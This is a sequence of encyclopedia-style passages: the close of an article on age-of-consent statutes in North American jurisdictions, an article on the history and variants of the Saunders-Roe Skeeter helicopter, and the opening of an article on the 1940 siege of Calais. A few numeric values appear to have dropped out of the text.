Article 261 of the Federal Criminal Code (PDF) states that: "Whoever, without the purpose of reaching copulation, performs a sexual act in a person under 15 or in a person that has no capacity of understanding the meaning of the act or that for any reason cannot resist, or demands that the act is performed, will be punished with a term of 2 to 5 years in prison". If the offender uses moral or physical violence, an extra half term is added to the initial time.
Article 266 refers to the previous article 265, which covers the rape of adults in general and establishes a term of 8 to 14 years in prison for sex obtained through physical or moral violence. Article 266 then states that: "It is equivalent to rape and will be punished with the same penalty: (1st Clause) – who without violence performs a copulation with a person under 15". The 3rd Clause of this article punishes with the same penalties also "the vaginal or anal introduction of objects, without violence and with lascivious goals", in a person under 15 or in a person that has no capacity of understanding the meaning of the fact, or for any reason cannot resist. If any of the aforementioned acts is performed with physical or moral violence, the sentence is raised in up to a half.
A further article, 266 Bis, determines an extra penalty of up to a half under certain circumstances – (a) when there are multiple offenders; (b) when the offense is committed by a parent, legal guardian, stepfather or "companion" (amasio) of the mother; (c) when there is an abuse of authority of someone as a civil servant; (d) when the crime is committed by a person who has the minor under their custody, guard or education, or yet through the abuse of trust.
There is another crime in Article 262 for consented sex with adolescents aged 15 to 18, when consent is obtained through deceit. The penalty is 3 months to 4 years in prison. This crime, however, is prosecuted only through a complaint of the minor or his/her parents or legal guardians, as determined in Article 263.
Article 201 prohibits the "corruption" of a minor under 16.
Further reading:
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Local laws
Updated :
All Mexican states (as well as Mexico City) have corruption of minors statutes that can, upon complaint of the family (or minor), be used to punish sexual relations with persons under eighteen. Although actual prosecutions for violations of Corruption of Minors statutes (and age of consent statutes in general) tend to be sporadic, regional, and very situation dependent, many Mexican states nonetheless classify Corruption of Minors as a "Delito Grave" (Major Crime) in their penal codes.
Additionally, all the states have "Estupro" laws that can, upon complaint of the family (or minor), be used to prosecute adults who engage in sexual intercourse with minors by seduction or deceit (the exact definitions of this crime vary by state, see section estupro, above).
In some Mexican jurisdictions prosecutors have chosen to prosecute consensual sexual activity involving adults and underage minors only upon complaint by the minor, or a custodial complaint.
Mexico City
The age of consent in Mexico City (former Federal District, DF) is 12, one of the lowest in the world, and the overall criminal legislation of Mexico's capital is close to that of the federal law regarding this subject, although tougher in some aspects – higher penalties and broader definitions.
According to the Estatuto del Gobierno del Distrito Federal (PDF)(in Spanish) (Government Statute of the Federal District), Article 42, Clause XII, the District's Legislative Assembly has powers to legislate in criminal law.
Article 175 of the Federal District Criminal Code refers to the previous Article 174, which stipulates a term of 6 to 17 years of prison for the rape of adults, while defining copulation as "the introduction of the penis in the human body through the vagina, anus or mouth". Article 175 (violación) then states that: "It is equivalent to rape and will be punished with the same penalty:" (first clause) – "who performs a copulation with a person under 12 years of age or with a person that has no capacity of understanding the meaning of the act or that for any reason cannot resist"; the second clause defines whosoever "introduces in the vagina or anus any element, instrument or any part of the human body different from the penis" as having committed the same crime, in relation to these same persons.
Article 177 covers "sexual abuse" and punishes other acts referred as "unintentional" acts –"who without purpose of reaching copulation, performs a sexual act with a person under 12 or a person that has no capacity of understanding the meaning of the act or that for any reason cannot resist it, or that demands that such act is observed or performed, will be punished with 2 to 7 years in prison".
In both Articles (175 and 177), there is an extra half term in case of physical or moral violence. And according to Article 178, there is also a punishment of an extra two thirds of the term under the same circumstances foreseen in Article 266 Bis of the Federal Law (see above), added by two new circumstances – (clause V) when the victim is inside a private vehicle or a public service vehicle; and (clause VI) when the crime is committed in a desert or isolated place.
There is a crime called estupro stipulated in Article 180, which refers to consented sex with adolescents aged 12 to 18, when consent is obtained through any means of deceit. The penalty is 6 months to 4 years of prison. This crime needs a complaint (querella) to be prosecuted.
There is a Corruption of Minors statute (Article 184) that can be used to punish by imprisonment, for seven to twelve years, adults who engage in sexual relations with persons under eighteen. This situation exists all over Mexico, and can be prosecuted upon complaint of victim or the victim's family.
Montserrat (United Kingdom)
The age of consent in Montserrat is 16.
Unlawful sexual intercourse with girl under age of sixteen
121.(1) Subject to the provisions of the section, a man who has unlawful
sexual intercourse with a girl above the age of thirteen and under the age of
sixteen shall be guilty of an offence and liable to imprisonment for two
years.
(2) It is immaterial in the case of a charge for an offence under this
section that the intercourse was had with the consent of the girl concerned.
Indecent assault on a woman
122.(1) Subject to the provisions of this section, any man who makes an
indecent assault on a woman shall be guilty of an offence and liable— (...)
(2) A girl under the age of sixteen years cannot in law give consent
which would prevent an act being an assault for the purposes of this
section.
Nicaragua
In Nicaragua, the age of consent is 18, although, in regard to young people 16–17, the law (Article 175) is not clear cut.
Article 170. Statutory rape
Anyone who is married or in a stable de facto union or who is of age and who, without violence or intimidation, has or allows carnal access with a person aged between 14 and 16 shall be sentenced to imprisonment for a period of two to four years.
Article 175. Sexual exploitation, pornography and paid sexual acts with adolescents
Anyone who induces, provides, promotes or uses persons aged under 16 or a disabled person for sexual or erotic purposes, forcing them to witness or participate in an act or show in public or in private, even if the victim consents to witness or participate in such an act, shall be sentenced to imprisonment for a period of five to seven years, or four to six years if the victim is aged between 16 and 18.
(...)
Article 168. Rape of children under the age of 14
Anyone who has or allows carnal access with a person aged under 14 or who, for sexual purposes, inserts or forces the victim to insert a finger, object or instrument, by way of the vagina, anus or mouth, with or without consent, shall be sentenced to imprisonment for a period of 12 to 15 years.
Article 172. Sexual abuse
Anyone who engages in lewd acts with or improper touching of another person, without their consent, (...)
In no circumstances shall the victim be considered to have given consent if the victim is under the age of 14 or has a mental disability or illness.
Panama
In Panama, the age of consent is in general 18, although sexual conduct with children aged 14 to 18 is not always illegal.
Translation: Article 176. Whoever, using a condition of advantage, achieves sexual intercourse with a person , even with consent, shall be punished with imprisonment from two to four years
This does not apply if the age difference is less than 5-years and the partners are in a stable couple relationship.
Translation: The sanctions provided in this article do not apply if there is a couple relationship duly established between the victim and the agent, and the age difference does not exceed
five years.
Puerto Rico (United States)
The age of consent in Puerto Rico is 16. There is a 4-year close-in-age exception subject to a minimum age of 14.
Article 130.- Sexual Assault.- Any person who performs sexual penetration, whether an orogenital act or vaginal or anal sex penetration, whether genital, digital, or instrumental ... shall be punished...when the victim has not attained the age of sixteen (16) years, except when the victim is over fourteen (14) years old and the age difference between the victim and the accused is four (4) years or less.
Article 133.- Lewd Acts.- Any person who, without the intention to consummate the crime of sexual assault described in Article 130, subjects another person to an act that tends to awaken, excite or satisfy the sexual passion or desire of the accused ... shall be punished ... when the victim has not attained the age of sixteen (16) years at the time of the act.
Saint Kitts and Nevis
The age of consent in Saint Kitts and Nevis is 16.
Saint Lucia
The age of consent in Saint Lucia is 16.
Saint Vincent and the Grenadines
The age of consent in Saint Vincent and the Grenadines is 15. The penalty for statutory rape of a girl over 13 but under 15 is five years' imprisonment; under 13 it is life imprisonment.
Sint Maarten (Netherlands)
The age of consent in Sint Maarten is 15, as specified by the Criminal Code of the Netherlands Antilles (which Sint Maarten did not change after the dissolution of the Netherlands Antilles), Articles 251, which reads:
Art 251: 1. "A person who, out of wedlock, with a person who has reached , performs indecent acts comprising or including sexual penetration of the body is liable to a term of imprisonment of not more than sixteen years".
Prosecution for the violation of the above article only takes place upon a "complaint" by the minor, his parents, teacher, or the guardianship board (Art 251, 2. 3. 4.)
Trinidad and Tobago
The age of consent in Trinidad and Tobago is 18, as per the Children Act, 2012. It was raised from 16 to 18 in 2015.
The Children Act, 2012 defines a "child" as "a person under the age of eighteen years".
18. Subject to section 20, a person who sexually penetrates a child commits an offence and is liable on conviction on indictment, to imprisonment for life.
19. (1) Subject to section 20, where a person touches a child and–
(a) the touching is sexual; and
(b) the child is under sixteen years of age,
the person commits an offence.
(2) A person who commits an offence under subsection (1) is liable–
(a) on summary conviction, to a fine of fifty thousand dollars and to imprisonment for ten years; or
(b) on conviction on indictment, to imprisonment for twenty years.
(3) Where a person commits an offence under subsection (1), and the touching involves the placing of any body part or of an object onto the penis or bodily orifice of a child, that person is liable on conviction on indictment to imprisonment for life.
Three close-in-age exemptions exist, as per section 20:
20. (1) A person sixteen years of age or over but under twenty-one years of age is not liable under section 18 if–
(a) he is less than three years older than the child against whom he is purported to have perpetrated the offence;
(b) he is not in a familial relationship with the child nor in a position of trust in relation to the child;
(c) he is not of the same sex as the child; and
(d) the circumstances do not reveal any element of exploitation, coercion, threat, deception, grooming or manipulation in the relationship.
(2) A person fourteen years of age or over but under sixteen years of age is not liable under section 18 or 19 if–
(a) he is less than two years older than the child against whom he is purported to have perpetrated the offence;
(b) he is not in a familial relationship with the
child nor in a position of trust in relation to
the child;
(c) he is not of the same sex as the child; and
(d) the circumstances do not reveal any
element of exploitation, coercion, threat,
deception, grooming or manipulation in the
relationship.
(3) A person twelve years of age or over but under fourteen years of age is not liable under section 18 or 19 if–
(a) he is less than two years older than the child against whom he is purported to have perpetrated the offence;
(b) he is not in a familial relationship with the child nor in a position of trust in relation to the child;
(c) he is not of the same sex as the child; and
(d) the circumstances do not reveal any element of exploitation, coercion, threat, deception, grooming or manipulation in the relationship.
United States
In the United States, the age of consent laws are made at the state, territorial, and federal district levels. There exist several federal statutes related to protecting minors from sexual predators, but none of them imposes an age limit on sexual acts. On 26 June 2003, both heterosexual and homosexual sodomy became legal in all U.S. states, territories, and the District of Columbia under the U.S. Supreme Court decision Lawrence v. Texas (between non-commercial, consenting adults in a private bedroom). In State v. Limon (2005), the Kansas Supreme Court used Lawrence as a precedent to overturn the state's "Romeo and Juliet" law, which proscribed lesser penalties for heterosexuals than homosexuals convicted of similar age of consent related offenses.
Virgin Islands (United States)
The age of consent is 18. There is however a close-in-age exemption that allows minors 16 and 17 years old to consent with someone no more than five years older than themselves and minors 13 to 15 years old to consent with one another, but not with anyone 16 or over.
Article § 1700. Aggravated rape in the first degree bans sexual intercourse or sodomy with a child under 13. Sexual acts with minors are aggravated by the use of force, intimidation, or the perpetrator's position of authority, and by the fact that the minor, being under 16 and not the perpetrator's spouse, is residing in the same household as the perpetrator.(see Article § 1700, Article § 1702, Article § 1708).
Other relevant articles of the criminal code are:
§ 1702. Rape in the second degree
(a) Any person over 18 years of age who perpetrates under circumstances not amounting to rape in the first degree, an act of sexual intercourse or sodomy with a person not the perpetrator's spouse who is at least 16 years but less than 18 years of age, and the perpetrator is 5 years or older than the victim, is guilty of rape in the second degree and shall be imprisoned not more than 10 years.
§ 1703. Rape in the third degree
Any person under 18 years of age but over 16 years of age who perpetrates an act of sexual intercourse or sodomy with a person not the perpetrator's spouse who is under 16 years of age but over 13 years of age, under circumstances not amounting to rape in the first degree, is guilty of rape in the third degree and shall be subject to the jurisdiction of the Family Division of the Superior Court
"Sexual contact", that is, non-penetrative sex, defined as "the intentional touching of a person's intimate parts, whether directly or through clothing, to arouse or to gratify the sexual desires of any person" is not permitted with children under 16, but a close-in-age exemption allows those aged at least 13 to engage in such acts with partners under 18.
§ 1708. Unlawful sexual contact in the first degree
A person who engages in sexual contact with a person not the perpetrator's spouse—
(..)(2) when the other person is under thirteen years of age;
§ 1709. Unlawful sexual contact in the second degree
A person over eighteen years of age who engages in sexual contact with a person not the perpetrator's spouse who is over thirteen but under sixteen years of age is guilty of unlawful sexual contact in the second degree and shall be imprisoned not more than 1 year
Paraphrasing Virgin Islands Code: V.I.C. § 1700–1709 Virgin Islands Code
and appeals records Francis vs. VI
NOTE: "mistake of fact as to the victim's age is not a defense".
See also
Age of consent reform
Ages of consent in Africa
Ages of consent in Asia
Ages of consent in Europe
Ages of consent in Oceania
Ages of consent in South America
Child sexual abuse
Fantasy defense
Jailbait
Adolescent sexuality in Canada
Sex education
Comprehensive sex education
References
North America
Adolescent sexuality in North America
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5071205
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https://en.wikipedia.org/wiki/Saunders-Roe%20Skeeter
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Saunders-Roe Skeeter
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The Saunders-Roe Skeeter was a two-seat training and scout helicopter that was developed and produced by British manufacturer Saunders-Roe ("Saro") of Cowes and Southampton, in the United Kingdom.
Work on what would become the Skeeter had been commenced by the Cierva Autogiro Company as the Cierva W.14. Following Saunders-Roe's takeover of Cierva's helicopter development contracts, it was decided to continue its projects, including the Skeeter. Despite an initial preference for the rival Fairey Ultra-light Helicopter, which had already been ordered, there was a reversal of fortune with interest from the Bundeswehr in the potential procurement of a large number of Skeeters. This led to the British order for the Ultra-light Helicopter being cancelled and the Skeeter effectively taking its place, which also served to guarantee an export order from Germany.
During the late 1950s, the Skeeter entered service with the British Army Air Corps, the German Navy, and the German Army. It has the distinction of being the first helicopter to be used by the Army Air Corps. While some consideration had been made to developing a version of the Skeeter powered by a turbine engine instead of a piston engine, it was decided to produce the developmental Saro P.531 for this purpose instead of a more direct Skeeter derivative.
Development
Origins
In 1947, the Cierva Autogiro Company commenced work on a new project, which was designated as the W.14 Skeeter. As designed, it was a relatively compact two-seat helicopter, intended to be suitable for use as both a civilian aircraft and for aerial observation duties with military customers. The original engine selected to power the Skeeter was a single 110 hp Jameson FF-1 air-cooled horizontally-opposed piston engine. On 10 October 1948, the first prototype Skeeter performed its maiden flight at Eastleigh airfield. Initial flight trials of the prototype proved the rotorcraft to be underpowered, which was partially as a result of the experimental Jameson engine being prone to overheating. In response, the company decided to develop an improved Mark 2 Skeeter which was to be equipped with the well-established de Havilland Gipsy Major 10, which provided 145 hp (108 kW). The Mark 2 Skeeter was a noticeably larger aircraft and had a different appearance.
On 20 October 1949, the larger Skeeter Mark 2 performed its first flight. Powered tests using the rotorcraft soon made it apparent that the Mark 2 suffered from severe ground resonance problems. Cierva found it difficult to resolve these issues; on 26 June 1950, the Skeeter Mark 2 was destroyed during ground testing. Despite these problems, Cierva had received an order from the British Ministry of Supply for three improved Skeeters, a pair of Mark 3s and a single Mark 4, for evaluation purposes by the Royal Air Force (RAF) and Royal Navy. Prior to the completion of any of these three rotorcraft, rival manufacturer Saunders-Roe completed its take over of Cierva's helicopter development contracts and took control of its facilities and development programmes in January 1951.
During March 1953, the Blackburn Bombardier-engined Skeeter Mark 3B was transferred to the Aeroplane and Armament Experimental Establishment (A&AEE). Subsequent testing showed that these aircraft continued to be underpowered and that the previously encountered ground resonance problems had yet to be properly resolved; these failings were cited as the reason for official support for the rotorcraft being suspended. In response to the suspension, Saunders-Roe chose to undertake a lengthy series of company-funded tests, which involved the use of a specially-built rig as well as more theoretical work being performed, for the purpose of identifying both the causes of and solutions to the resonance issue.
Competition and reversal of fate
During the early 1950s, the British Army became highly interested in the potential use of compact helicopters in the observation and aerial observation roles. In 1953, there was a requirement issued by the British Ministry of Supply which sought for a low-cost two-seat helicopter, which would be suitable for reconnaissance, casualty evacuation and training duties. This specification was considered to be quite demanding, calling for it to be capable of high speeds and quick climb rates even under tropical conditions. The rotorcraft was also required to be transportable on the back of a standard Army three-ton truck, constricting the dimensions of the prospective vehicle considerably. Further requirements for the prospective light helicopter included a flight endurance of one hour along with the potential for carrying light cargos such as fuel and tools as well as stretcher-bound wounded troops. An initial request for a rear-facing observer's seat was present early on, but was discarded in later revisions. At this time, newly developed gas turbines were beginning to appeal both to helicopter designers and to prospective operators, the British Army made the use of such an engine one of its requirements.
A diverse range of entries were submitted in response to the issuing of the requirement; amongst these were Fairey Aviation with its Ultra-light Helicopter which harnessed tip jet propulsion, Saunders-Roe with a smaller version of the Skeeter, the Bristol Aeroplane Company's proposed Type 190, a ducted rotor proposal by Percival Aircraft, Short Brothers proposed the larger Short SB.8, and a ram jet-powered proposal by Austrian-born helicopter pioneer Raoul Hafner. In response to the detailed design submission that Fairey had produced for their proposal, the Ministry decided to award the firm a contract to produce a total of four development aircraft for demonstration and flight testing purposes; the company later decided to construct a further two more rotorcraft as a private venture.
Meanwhile, a solution for the Skeeter's troublesome resonance issue had been developed, which involved the adoption of a redesigned undercarriage and the fitting of revised blade friction dampers on the rotor head. These improvements allowed Saunders-Roe to finally demonstrate that the ground resonance problems had been fixed when the Skeeter Mark 5 underwent testing by the A&AEE in March 1954. The resolution of the issue served to reignite official interest in the rotorcraft, quickly leading to a smaller order being placed for four Skeeter Mark 6s, each equipped with 200 hp (149 kW) Gipsy Major 200 engines (designated as AOP.10 and T.11 by the British armed forces), for evaluation purposes.
It was around this point that the British Army became more focused on the Skeeter and the addressing of its shortcomings, while the Fairey Ultra-light fell out of favour. According to aviation author Derek Wood, the Skeeter had benefitted from a favourable early impression of the type that had been made upon some West German officials; the rotorcraft had attracted the offer of a sizable military order from the German government, however, the placing of the order was on the condition that the Skeeter was in turn adopted by the British armed forces as well. Thus, the decision was taken in Whitehall to concentrate its efforts on the Skeeter, which effectively meant the abandonment of the Ministry requirement that the rival Fairey Ultra-light had been being developed towards fulfilling. In 1956, Saunders-Roe finally received production orders for 64 AOP.12s, each powered by a215 hp (160 kW) engine; production deliveries of the Skeeter commenced in 1958.
Design
The Saunders-Roe Skeeter is a light all-metal, two-seat single-rotor helicopter, complete with a tail rotor for torque compensation and yaw control. It was intended to perform as an all-purpose rotorcraft, primarily being used for light civil work as well as aerial observation and training missions in military service. The handling characteristics were broadly similar to comparably-sized rotorcraft of the era, while possessing the necessary simplicity, robustness, and reliability that commonly typified trainer aircraft.
The Skeeter possessed a relatively conventional configuration for a helicopter, being powered by a single piston engine which drove a 29-foot (8.84 metre) three-bladed main rotor and a three-bladed anti-torque rotor, which was mounted at the end of a triangular-section tailboom. The main rotor-blades made use of a composite construction, using a steel-tube spar that was bonded to wooden veneers, formers, and ribs, as well as brass balance-weights; these reportedly delivered a cost-effective and relatively simplistic rotor blade that also possessed favourable fatigue properties. Saunders-Roe also developed a replacement metal light alloy rotor blade that possessed superior aerodynamic properties and provided increased performance. A fixed tricycle undercarriage arrangement, complete with interchangeable wheels and brake units, was also present.
The Skeeter's crew of two were housed within an enclosed glazed perspex canopy, complete with removable doors. The design of the cabin had been heavily shaped by the requirement for the Skeeter to be suited to the air observation post (AOP) role that the type had been heavily marketed towards. The nose structure of the Skeeter bore the weight of the rotorcraft's equipment, payload, and crew in addition to the inertial forces present during manoeuvring and landing loads from the nose wheel. The light-alloy structure contained control access panels in the floor and a battery unit within the nose itself.
Directly behind the cockpit and underneath the main rotor was the rotorcraft's engine and its nylon bag-type fuel tank, which was housed within a welded tubular steel framework attached to the cockpit structure and to the tailboom. Power was directed to the tail rotor via a torque shaft contained within the tail cone, which featured gearing so that pilots could readily adjust the speed and direction of tail rotor movement. The engine was provided with cooling air via an intake on the centre of the starboard side of the rotorcraft; for improved ventilation, the cowling around the engine area could be entirely removed. The de Havilland Gipsy Major that was used to power the majority of Skeeters was credited with being a major contributor to the rotorcraft's relatively high fuel efficiency due to its use of fuel injectors (the high aerodynamic efficiency of the airframe itself was another beneficial factor).
Rocket-boosted rotor
With the limited power of the Gipsy Major, means of boosting power were investigated, including a de Havilland developed turbo-supercharger. As an alternative to the turbocharger, a rocket powered rotor boost system was developed by D. Napier & Son, fuelled by High Test Peroxide (HTP) decomposed at blade tip nozzles by contact with a catalyst. The Napier N.R.E. 19 system was fitted to two Skeeter 6 helicopters (G-AMTZ and G-ANMI), re-designated as Skeeter 6 (mod) when modified.
The rocket system consisted of a hemispherical HTP tank on the top of the rotor head and pipes running through the blades to catalyst chambers and rocket nozzles at each blade tip. Total thrust was thrust for 15 minutes, at a total HTP consumption rate of , boosting rotor power by and increasing vertical climb rate considerably . Total weight of the system was under .
Flight trials proved the system to work as advertised but it was rejected due to the logistical problems involved with HTP in peace-time and particularly during military action.
Operational history
The British Army ordered 64 Skeeter 6's, to be designated as the Skeeter AOP.12 (air observation post - artillery direction & control), and the Skeeter finally entered service in October 1956. Several Skeeter AOP.12s were operated by the Central Flying School of the Royal Air Force. With the merger of the helicopter activities of the British Bristol Aeroplane Company, Fairey and Saro with Westland Aircraft in 1960, plans to develop a turbine powered version were abandoned – although this knowledge was used in the development of the Westland Scout and Westland Wasp through to the P.531, which had been based on the Skeeter's airframe.
Variants
Cierva W.14 Skeeter 1
Original design, first flown on 8 October 1948, powered by a Jameson FF-1 engine. It had a triangular cross-section to its tail-boom. Only one was built.
Cierva W.14 Skeeter 2
First flew in 1949. Powered by Gipsy engine. Suffered badly from ground resonance and eventually shook itself apart. This version had a circular-section tail-boom, as did all future versions. Only one was built.
Skeeter 3
Also with de Havilland Gipsy engine. Mark 3B powered by Blackburn Cirrus Bombardier engine.
Two were produced. No orders were placed by the British Army.
Skeeter 4
Version for the Royal Navy, was rejected. Similar to Skeeter 2 and 3. Only one was produced. Built at same time as Mark 3B.
Skeeter 5
Similar to other earlier Skeeters. Only one was produced.
Skeeter 6
Three prototypes were procured. One was the Mark 5 rebuilt with the Gipsy Major 201 fuel-injection engine for gaining Certificate of Airworthiness.
Skeeter 6 (mod)
Two Skeeter 6 helicopters, (G-AMTZ and G-ANMI), modified with a High Test Peroxide fuelled Napier N.R.E. 19 rocket rotor boost system.
Skeeter AOP.10
Three preproduction evaluation aircraft built for the British Army
Skeeter T.11
One dual-control trainer was built for the Royal Air Force
Skeeter 7
Had Gipsy Major 150 engine. This was the most successful Skeeter. 64 were built and acquired by the British Army Air Corps.
Skeeter AOP.12
Air observation post helicopter for the British Army Air Corps and training helicopter for the Royal Air Force.
Skeeter T.13
Training version for the RAF. The Skeeter T.13s were used to train army helicopter instructors.
Skeeter 8
Commercial version similar to Skeeter 7, with Gipsy Major. Only single example completed, with two more abandoned incomplete.
Skeeter Mk.50
Export version of the Skeeter 7 for the German Army Aviation Corps. Six were ordered and exported.
Skeeter Mk.51
Export version of the Skeeter 7 for the German Navy. Four were ordered and exported.
Operators
German Army
German Navy
Army Air Corps
Royal Air Force
Portuguese Air ForceSix Skeeter Mk.50 and four Skeeter Mk.51 acquired from the German Army Aviation Corps and German Navy, respectively. These non-airworthy examples were delivered in July 1961 and were stored at OGMA; due to lacking spare parts their rebuild was eventually cancelled and they were sold.
Surviving aircraft
Germany
XN348 – Skeeter AOP.12 on static display at the Hubschraubermuseum Bückeburg in Bückeburg, Lower Saxony.
Poland
XL767 – Skeeter AOP.12 on static display at the Polish Aviation Museum in Kraków, Lesser Poland.
United Kingdom
XL739 – Skeeter AOP.12 on static display at the Norfolk Tank Museum in Forncett, Norfolk.
XL762 – Skeeter AOP.12 in storage at the National Museum of Flight in East Fortune, East Lothian.
XL764 – Skeeter AOP.12 on static display at Newark Air Museum in Newark-on-Trent, Nottinghamshire.
XL770 – Skeeter AOP.12 on static display at the Solent Sky Museum in Southampton, Hampshire.
XL811 – Skeeter AOP.12 on static display at The Helicopter Museum in Weston-super-Mare, North Somerset.
XL813 – Skeeter AOP.12 on static display at the Army Flying Museum in Middle Wallop, Hampshire.
XM553 – Skeeter AOP.12 on static display at the Yorkshire Air Museum in Elvington, York.
XM555 – Skeeter AOP.12 on static display at the North East Land, Sea and Air Museums in Sunderland, Tyne and Wear.
XN344 – Skeeter AOP.12 on static display at the Science Museum, London in London.
S2/5081 – Skeeter 8 on static display at the Solent Sky Museum in Southampton, Hampshire.
Specifications (Skeeter AOP.12)
See also
References
Notes
Citations
Bibliography
"Cierva Skeeter Flies." Flight, 21 October 1948, pp. 477–478.
Dunnell, Ben. "Aeroplane Archive: Jump To It". Aeroplane, Vol. 45, No. 5, May 2017. pp. 103–105. .
London, Peter. "Last of the Line: The Saro Skeeter". Air Enthusiast, No. 54, Summer 1994. ISSN 0143-5450. pp. 2–5.
London, Peter. Saunders and Saro Aircraft since 1917. London: Putnam, 1988. .
"Saunders-Roe Skeeter: Development and Construction of the Mark Six." Flight, 30 March 1956. pp. 355–359, 374.
Wood, Derek. Project Cancelled. Macdonald and Jane's Publishers, 1975. .
External links
Helis database
Saro Skeeter – British Aircraft Directory
Skeeter Heritage
1940s British helicopters
1940s British military utility aircraft
Skeeter
Single-engined piston helicopters
Aircraft first flown in 1948
W.14
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5071799
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https://en.wikipedia.org/wiki/Siege%20of%20Calais%20%281940%29
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Siege of Calais (1940)
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The siege of Calais (1940) was a battle for the port of Calais during the Battle of France. The siege was fought at the same time as the Battle of Boulogne, just before Operation Dynamo, the evacuation of the British Expeditionary Force (BEF) through Dunkirk. After the Franco-British counter-attack at the Battle of Arras (21 May), German units were held back to be ready to resist a resumption of the counter-attack on 22 May, despite the protests of General Heinz Guderian, the commander of the XIX , who wanted to rush north up the Channel coast to capture Boulogne, Calais and Dunkirk. An attack by part of the XIX was not authorised until on the night of
By the time the 10th Panzer Division was ready to attack Calais, the British 30th Infantry Brigade and 3rd Royal Tank Regiment (3rd RTR) had reinforced the French and British troops in the port. On 22 May, the British troops had established roadblocks outside the town and French rearguards skirmished with German armoured units, as they advanced towards Calais. British tanks and infantry had been ordered south to reinforce Boulogne but were too late. They then received orders to escort a food convoy to Dunkirk but found the road blocked by German troops. On 23 May, the British began to retire to the old Calais walls (built in the 1670s) and on 24 May, the siege began. The attacks by the 10th Panzer Division were mostly costly failures and by evening, the Germans reported that about half their tanks had been knocked out and a third of the infantry were casualties. The German attacks were supported by the , while the Allied defenders were supported by their navies delivering supplies, evacuating wounded and bombarding German targets around the port.
On the night of the defenders were forced to withdraw from the southern , to a line covering the Old Town and Citadel; attacks next day against this shorter line were repulsed. The Germans tried several times to persuade the garrison to surrender but orders had been received from London to hold out, because an evacuation had been forbidden by the French commander of the northern ports. More German attacks early on 26 May failed and the German commander was given an ultimatum that if Calais was not captured by the attackers would be pulled back and the town levelled by the . The Anglo-French defences began to collapse in the early afternoon and at the order "every man for himself" was given to the defenders, as Le Tellier, the French commander surrendered. Next day, small naval craft entered the harbour and lifted about while aircraft of the RAF and Fleet Air Arm dropped supplies and attacked German artillery emplacements.
In 1949, Churchill wrote that the defence of Calais delayed the German attack on Dunkirk, helping to save the 300,000 soldiers of the BEF, a claim that Guderian contradicted in 1951. In 1966, Lionel Ellis, the British official historian, wrote that three panzer divisions had been diverted by the defence of Boulogne and Calais, giving the Allies time to rush troops to close a gap west of Dunkirk. In 2006, Karl-Heinz Frieser wrote that the halt order issued to the German unit commanders because of the Anglo-French attack at the Battle of Arras (21 May) had a greater effect than the siege. Hitler and the higher German commanders panicked because of their fears of flank attacks, when the real danger was of the Allies retreating to the coast before they could be cut off. Reinforcements sent from Britain to Boulogne and Calais arrived in time to forestall the Germans and hold them off when they advanced again on 22 May.
Background
Calais
The term Channel Ports refers to Calais, Boulogne and Dunkirk (and sometimes Ostend in Belgium). The ports are the nearest to Cap Gris Nez, the shortest crossing from England and are the most popular for passenger traffic. Calais is built on low ground with low sand dunes on either side and is enclosed by fortifications. There was a citadel in the old town surrounded by water and in 1940 on the east side, the moat was still wet but elsewhere had become a dry ditch. Surrounding the town was an , a defensive fortification, which originally consisted of twelve bastions linked by a curtain wall, with a perimeter of , built by Vauban from 1667 to 1707.
In many places, the was overlooked by suburban buildings built in the nineteenth century. Two of the southern bastions and the wall linking them had been demolished to make way for railway lines, leading to railway sidings and quays of the in the harbour. About outside the to the west was Fort Nieulay. Two other forts to the south and east were derelict or had disappeared. Outside the town, low ground to the east and south is cut by ditches, which limit the landward approach to roads raised above ground level. To the west and south-west, there is a ridge of higher ground between Calais and Boulogne, from which Calais is overlooked.
BEF
When plans for the deployment of the British Expeditionary Force (BEF) were made, the British Imperial General Staff drew from experience in the First World War. The British Expeditionary Force had used the Channel Ports as their s for supplies, even though they were only from the Western Front. Had the German spring offensive of 1918 succeeded in breaking through the front and capturing or even threatening the ports, the BEF would have been in a desperate position. During the Phoney War , the BEF had been supplied through ports further to the west, such as Le Havre and Cherbourg but the Channel Ports came into use, once mine barrages had been laid in the English Channel in late 1939, to reduce the demand for ships and escorts. When leave from the BEF began in December, Calais was used for communication and for troop movements, especially for men granted compassionate leave.
The Battle of France
On 10 May 1940, the Germans began an offensive against France, Belgium and the Netherlands. Within a few days, Army Group A ( Gerd von Rundstedt) broke through the French Ninth Army (General André Corap) in the centre of the French front near Sedan and drove westwards down the Somme river valley, led by comprising under Heinz Guderian and the ( Georg-Hans Reinhardt). On 20 May, the Germans captured Abbeville at the mouth of the Somme River, cutting off the Allied troops in Northern France and Belgium. The Battle of Arras, a Franco-British counter-attack on 21 May, led the Germans to continue to attack north towards the channel ports, rather than advance southwards over the Somme. Apprehension about another Franco-British counter-attack led to the "Arras halt order" being issued by the German higher commanders on 21 May. The neighbouring XV (General Hermann Hoth) was held back in reserve and a division of the XLI was moved eastwards, when the corps was only from Dunkirk.
Prelude
German preparations
Late on 21 May, (OKH) rescinded the halt order; was to resume the advance and move about north, to capture Boulogne and Calais. The next day, Guderian gave orders for the 2nd Panzer Division ( Rudolf Veiel) to advance to Boulogne on a line from Baincthun to Samer, with the 1st Panzer Division ( Friedrich Kirchner) as a flank guard on the right, advancing to Desvres and Marquise in case of a counter-attack from Calais; the 1st Panzer Division reaching the vicinity of the port during the late afternoon. The 10th Panzer Division ( Ferdinand Schaal) was detached to guard against a possible counter-attack from the south. Parts of the 1st Panzer Division and 2nd Panzer Division were also held back to defend bridgeheads on the south bank of the Somme.
Allied preparations
Calais had been raided by bombers several times, which caused disruption to military movements, confusion and traffic jams, with refugees making for Calais meeting refugees fleeing the port. The French army units in Calais were commanded by (Major) Raymond Le Tellier and the northernmost bastions and fortifications were manned by French naval reservists and volunteers commanded by the (Capitaine de frégate Charles de Lambertye). Various army stragglers, including infantry and a machine-gun company had arrived in the town. On 19 May, Lieutenant-General Douglas Brownrigg, the Adjutant General of the BEF, appointed Colonel Rupert Holland to command the British troops in Calais and to arrange the evacuation of non-combatant personnel and wounded. The British contingent consisted of a platoon of the Argyll and Sutherland Highlanders (A&SH) who were guarding a radar site, the 2nd Anti-Aircraft Regiment RA, 58th (A&SH) Light Anti-Aircraft Regiment RA and the 1st Searchlight Regiment RA.
